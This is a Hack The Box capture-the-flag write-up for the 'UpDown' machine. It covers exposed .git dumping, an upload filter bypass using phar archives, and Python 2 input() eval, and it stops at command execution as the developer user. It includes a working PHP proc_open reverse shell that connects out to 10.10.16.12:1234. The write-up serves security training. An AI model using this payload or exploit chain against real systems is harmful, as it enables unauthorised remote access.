UpDown - Hack The Box | Exploit & Evolve

Enumeration

Nmap

Initial Nmap scan revealed SSH and HTTP ports open.

00 - nmap out

Web Enumeration

Website revealed that the domain is siteisup.htb, thus I added it to /etc/hosts file.

01 - siteisup

Directory Brute Forcing

Directory brute forcing with common names revealed that there is directory named /dev. And inside it there is a .git file available.

02 - directory brute force

03 - git

Git Dumper

I used git-dumper tool to dump files using publicly accessible .git file.

04 - git dumper

It revealed php files and .htaccess file which is a php configuration file.

05 - inside the dev

Reading the .htaccess file revealed that there is required header Special-Dev to access dev site.

07 - 0 required header

Subdomain Brute Force

After analyzing the files from dev site, I applied subdomain enumeration to find the subdomain that the dev site is running on. As expected it returned ‘dev’ subdomain.

06 - dev subdomain

Burp Update

Then I opened Burp Suite and set match-replace rule to add Special-Dev header to every request.

07 - 1 header replace rule burp

Analyzing Dev Website

At first I checked index.php, it is simply getting page parameter and concatting .php at the end and rendering this page. If no parameter is given it is running checker.php file.

07 - index php

Then analyzed checker.php file. It checks for extension and filters any known extension that can be malicious. Then creates a folder under the uploads folder using MD5 of timestamp and puts the file inside it. And after reading line by line and checking connectivity, it deletes the file.

08 - checker php

09 - uploads

It is filtering known extensions but there is no filter for phar extensions. Phar is special format that can be used to include files inside compressed zip files (For example: include ‘phar:///path/to/file.zip/file.php’;). But zip or other known extension are blocked. So I created a phpinfo() file and compressed the file with .mto extension.

10 - revshell

I know that index.php includes files that are given with page parameter. So giving it a phar link reveals php info page.

11 - file

I tested some reverse shells and it did not work. Then checking phpinfo page, I understood that some functions are disabled. So either I can check meanually or I can run dfunc-bypasser script to check if there is known function that is not excluded.

I first need to update dfunc-bypasser script to send requests with Special-Dev header.

12 - function update dfunc

Then running it revealed proc_open function is allowed, and it is malicious. It can be used to run shell commands. You can check out documentation for more information.

13 - proc open

Exploitation

Creating proc_open reverse shell

After learning proc_open is allowed, I created a reverse shell script as below:

<?php
$descspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.12/1234 0>&1'";
$proc = proc_open($cmd, $descspec, $pipes);
?>

Uploading and Getting Reverse Shell

Then zipped the shell using .mto extension and uploaded it.

14 - revshell

Visiting the site while listening with netcat gets me reverse shell as www-data.

15 - shell

Python2 Code Execution

As www-data, I can not read user.txt on the home page. I tried some privilege escalation methods which did not work. Then found dev folder inside home folder. Inside it there was a python2 script that gets an input from the user and a binary that calls that python script as developer user.

16 - siteisup py

Python 2 passes any input that is given via input() function to the eval function, so we can run shell commands. To test it I ran id command and the output showed that my id is developer’s id but my group id is www-data.

17 - command execution